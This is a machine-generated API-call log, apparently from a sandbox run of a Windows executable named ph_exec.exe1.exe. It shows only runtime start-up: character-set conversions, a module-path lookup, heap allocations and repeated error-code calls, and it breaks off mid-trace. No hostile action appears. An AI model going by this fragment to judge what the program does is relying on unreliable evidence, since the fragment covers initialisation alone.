\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0155.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0xaff854, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xe8\x51\x97\x96\x8c\xfa\xaf", lpUsedDefaultChar=0x0) returned 256 [0155.891] GetLastError () returned 0xcb [0155.891] SetLastError (dwErrCode=0xcb) [0155.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xaff954, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0155.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xaff954, cbMultiByte=256, lpWideCharStr=0xaff2a8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﾫ쵴骫ÄĀ") returned 256 [0155.891] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﾫ쵴骫ÄĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0155.891] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﾫ쵴骫ÄĀ", cchSrc=256, lpDestStr=0xaff098, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0155.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0xaff754, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xe8\x51\x97\x96\x8c\xfa\xaf", lpUsedDefaultChar=0x0) returned 256 [0155.891] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xc4f728, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe")) returned 0x2e [0155.891] GetLastError () returned 0x0 [0155.891] SetLastError (dwErrCode=0x0) [0155.891] GetLastError () returned 0x0 [0155.891] SetLastError (dwErrCode=0x0) [0155.891] GetLastError () returned 0x0 [0155.891] SetLastError (dwErrCode=0x0) [0155.891] GetLastError () returned 0x0 [0155.891] SetLastError (dwErrCode=0x0) [0155.891] GetLastError () returned 0x0 [0155.891] SetLastError (dwErrCode=0x0) [0155.891] GetLastError () returned 0x0 [0155.892] SetLastError (dwErrCode=0x0) [0155.892] GetLastError () returned 0x0 [0155.892] SetLastError (dwErrCode=0x0) [0155.892] GetLastError () returned 0x0 [0155.892] SetLastError (dwErrCode=0x0) [0155.892] GetLastError () returned 0x0 [0155.892] SetLastError (dwErrCode=0x0) [0155.892] GetLastError () returned 0x0 [0155.892] SetLastError (dwErrCode=0x0) [0155.892] GetLastError () returned 0x0 [0155.892] SetLastError (dwErrCode=0x0) [0155.892] GetLastError () returned 0x0 [0155.892] SetLastError (dwErrCode=0x0) [0155.892] GetLastError () returned 0x0 [0155.892] SetLastError (dwErrCode=0x0) [0155.892] GetLastError () returned 0x0 [0155.892] SetLastError (dwErrCode=0x0) [0155.892] GetLastError () returned 0x0 [0155.892] SetLastError (dwErrCode=0x0) [0155.892] GetLastError () returned 0x0 [0155.892] SetLastError (dwErrCode=0x0) [0155.892] GetLastError () returned 0x0 [0155.892] SetLastError (dwErrCode=0x0) [0155.893] GetLastError () returned 0x0 [0155.893] SetLastError (dwErrCode=0x0) [0155.893] GetLastError () returned 0x0 [0155.893] SetLastError (dwErrCode=0x0) [0155.893] GetLastError () returned 0x0 [0155.893] SetLastError (dwErrCode=0x0) [0155.893] GetLastError () returned 0x0 [0155.893] SetLastError (dwErrCode=0x0) [0155.893] GetLastError () returned 0x0 [0155.893] SetLastError (dwErrCode=0x0) [0155.893] GetLastError () returned 0x0 [0155.893] SetLastError (dwErrCode=0x0) [0155.893] GetLastError () returned 0x0 [0155.893] SetLastError (dwErrCode=0x0) [0155.893] GetLastError () returned 0x0 [0155.893] SetLastError (dwErrCode=0x0) [0155.893] GetLastError () returned 0x0 [0155.893] SetLastError (dwErrCode=0x0) [0155.893] GetLastError () returned 0x0 [0155.893] SetLastError (dwErrCode=0x0) [0155.893] GetLastError () returned 0x0 [0155.893] SetLastError (dwErrCode=0x0) [0155.893] GetLastError () returned 0x0 [0155.894] SetLastError (dwErrCode=0x0) [0155.894] GetLastError () returned 0x0 [0155.894] SetLastError (dwErrCode=0x0) [0155.894] GetLastError () returned 0x0 [0155.894] SetLastError (dwErrCode=0x0) [0155.894] GetLastError () returned 0x0 [0155.894] SetLastError (dwErrCode=0x0) [0155.894] GetLastError () returned 0x0 [0155.894] SetLastError (dwErrCode=0x0) [0155.894] GetLastError () returned 0x0 [0155.894] SetLastError (dwErrCode=0x0) [0155.894] GetLastError () returned 0x0 [0155.894] SetLastError (dwErrCode=0x0) [0155.894] GetLastError () returned 0x0 [0155.894] SetLastError (dwErrCode=0x0) [0155.894] GetLastError () returned 0x0 [0155.894] SetLastError (dwErrCode=0x0) [0155.894] GetLastError () returned 0x0 [0155.894] SetLastError (dwErrCode=0x0) [0155.894] GetLastError () returned 0x0 [0155.894] SetLastError (dwErrCode=0x0) [0155.894] GetLastError () returned 0x0 [0155.895] SetLastError (dwErrCode=0x0) [0155.895] GetLastError () returned 0x0 [0155.895] SetLastError (dwErrCode=0x0) [0155.895] GetLastError () returned 0x0 [0155.895] SetLastError (dwErrCode=0x0) [0155.895] GetLastError () returned 0x0 [0155.895] SetLastError (dwErrCode=0x0) [0155.895] GetLastError () returned 0x0 [0155.895] SetLastError (dwErrCode=0x0) [0155.895] GetLastError () returned 0x0 [0155.895] SetLastError (dwErrCode=0x0) [0155.895] GetLastError () returned 0x0 [0155.895] SetLastError (dwErrCode=0x0) [0155.895] GetLastError () returned 0x0 [0155.895] SetLastError (dwErrCode=0x0) [0155.895] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x37) returned 0x6f1768 [0155.895] GetLastError () returned 0x0 [0155.895] SetLastError (dwErrCode=0x0) [0155.895] GetLastError () returned 0x0 [0155.895] SetLastError (dwErrCode=0x0) [0155.895] GetLastError () returned 0x0 [0155.895] SetLastError (dwErrCode=0x0) [0155.895] GetLastError () returned 0x0 [0155.896] SetLastError (dwErrCode=0x0) [0155.896] GetLastError () returned 0x0 [0155.896] SetLastError (dwErrCode=0x0) [0155.896] GetLastError () returned 0x0 [0155.896] SetLastError (dwErrCode=0x0) [0155.896] GetLastError () returned 0x0 [0155.896] SetLastError (dwErrCode=0x0) [0155.896] GetLastError () returned 0x0 [0155.896] SetLastError (dwErrCode=0x0) [0155.896] GetLastError () returned 0x0 [0155.896] SetLastError (dwErrCode=0x0) [0155.896] GetLastError () returned 0x0 [0155.896] SetLastError (dwErrCode=0x0) [0155.896] GetLastError () returned 0x0 [0155.896] SetLastError (dwErrCode=0x0) [0155.896] GetLastError () returned 0x0 [0155.896] SetLastError (dwErrCode=0x0) [0155.896] GetLastError () returned 0x0 [0155.896] SetLastError (dwErrCode=0x0) [0155.896] GetLastError () returned 0x0 [0155.896] SetLastError (dwErrCode=0x0) [0155.896] GetLastError () returned 0x0 [0155.896] SetLastError (dwErrCode=0x0) [0155.897] GetLastError () returned 0x0 [0155.897] SetLastError (dwErrCode=0x0) [0155.897] GetLastError () returned 0x0 [0155.897] SetLastError (dwErrCode=0x0) [0155.897] GetLastError () returned 0x0 [0155.897] SetLastError (dwErrCode=0x0) [0155.897] GetLastError () returned 0x0 [0155.897] SetLastError (dwErrCode=0x0) [0155.897] GetLastError () returned 0x0 [0155.897] SetLastError (dwErrCode=0x0) [0155.897] GetLastError () returned 0x0 [0155.897] SetLastError (dwErrCode=0x0) [0155.897] GetLastError () returned 0x0 [0155.897] SetLastError (dwErrCode=0x0) [0155.897] GetLastError () returned 0x0 [0155.897] SetLastError (dwErrCode=0x0) [0155.897] GetLastError () returned 0x0 [0155.897] SetLastError (dwErrCode=0x0) [0155.897] GetLastError () returned 0x0 [0155.897] SetLastError (dwErrCode=0x0) [0155.897] GetLastError () returned 0x0 [0155.897] SetLastError (dwErrCode=0x0) [0155.897] GetLastError () returned 0x0 [0155.898] SetLastError (dwErrCode=0x0) [0155.898] GetLastError () returned 0x0 [0155.898] SetLastError (dwErrCode=0x0) [0155.898] GetLastError () returned 0x0 [0155.898] SetLastError (dwErrCode=0x0) [0155.898] GetLastError () returned 0x0 [0155.898] SetLastError (dwErrCode=0x0) [0155.898] GetLastError () returned 0x0 [0155.898] SetLastError (dwErrCode=0x0) [0155.898] GetLastError () returned 0x0 [0155.898] SetLastError (dwErrCode=0x0) [0155.898] GetLastError () returned 0x0 [0155.898] SetLastError (dwErrCode=0x0) [0155.898] GetLastError () returned 0x0 [0155.898] SetLastError (dwErrCode=0x0) [0155.898] GetLastError () returned 0x0 [0155.898] SetLastError (dwErrCode=0x0) [0155.898] GetLastError () returned 0x0 [0155.898] SetLastError (dwErrCode=0x0) [0155.898] GetLastError () returned 0x0 [0155.898] SetLastError (dwErrCode=0x0) [0155.898] GetLastError () returned 0x0 [0155.899] SetLastError (dwErrCode=0x0) [0155.899] GetLastError () returned 0x0 [0155.899] SetLastError (dwErrCode=0x0) [0155.899] GetLastError () returned 0x0 [0155.899] SetLastError (dwErrCode=0x0) [0155.899] GetLastError () returned 0x0 [0155.899] SetLastError (dwErrCode=0x0) [0155.899] GetLastError () returned 0x0 [0155.899] SetLastError (dwErrCode=0x0) [0155.899] GetLastError () returned 0x0 [0155.899] SetLastError (dwErrCode=0x0) [0155.899] GetLastError () returned 0x0 [0155.899] SetLastError (dwErrCode=0x0) [0155.899] GetLastError () returned 0x0 [0155.899] SetLastError (dwErrCode=0x0) [0155.899] GetLastError () returned 0x0 [0155.899] SetLastError (dwErrCode=0x0) [0155.899] GetLastError () returned 0x0 [0155.899] SetLastError (dwErrCode=0x0) [0155.899] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x94) returned 0x6f17a8 [0155.899] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1f) returned 0x6f1848 [0155.899] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x28) returned 0x6f1870 [0155.899] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x37) returned 0x6f18a0 [0155.899] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x3c) returned 0x6f18e0 [0155.899] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x31) returned 0x6f1928 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x14) returned 0x6f1968 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x24) returned 0x6f1988 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0xd) returned 0x6f19b8 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x17) returned 0x6f19d0 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x2b) returned 0x6f19f0 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x15) returned 0x6f1a28 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x17) returned 0x6f1a48 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x22) returned 0x6f1a68 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0xe) returned 0x6f1a98 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0xc1) returned 0x6f1ab0 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x3e) returned 0x6f1b80 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1b) returned 0x6f1bc8 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1d) returned 0x6f1bf0 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x48) returned 0x6f1c18 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x12) returned 0x6f1c68 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x18) returned 0x6f1c88 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1b) returned 0x6f1ca8 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x24) returned 0x6f1cd0 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x29) returned 0x6f1d00 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f1d38 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x6b) returned 0x6f1d60 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x17) returned 0x6f1dd8 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0xf) returned 0x6f1df8 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x16) returned 0x6f1e10 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x28) returned 0x6f1e30 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x27) returned 0x6f1e60 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x12) returned 0x6f1e90 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x21) returned 0x6f1eb0 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x10) returned 0x6f1ee0 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1c) returned 0x6f1ef8 [0155.900] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x12) returned 0x6f1f20 [0155.900] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f0fd0 | out: hHeap=0x6f0000) returned 1 [0155.901] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0155.901] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x80) returned 0x6f1f40 [0155.901] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xc48136) returned 0x0 [0155.901] RtlSizeHeap (HeapHandle=0x6f0000, Flags=0x0, MemoryPointer=0x6f1f40) returned 0x80 [0155.901] GetLastError () returned 0x0 [0155.901] SetLastError (dwErrCode=0x0) [0155.901] GetLastError () returned 0x0 [0155.902] SetLastError (dwErrCode=0x0) [0155.902] GetLastError () returned 0x0 [0155.902] SetLastError (dwErrCode=0x0) [0155.902] GetLastError () returned 0x0 [0155.902] SetLastError (dwErrCode=0x0) [0155.902] GetLastError () returned 0x0 [0155.902] SetLastError (dwErrCode=0x0) [0155.902] GetLastError () returned 0x0 [0155.902] SetLastError (dwErrCode=0x0) [0155.902] GetLastError () returned 0x0 [0155.902] 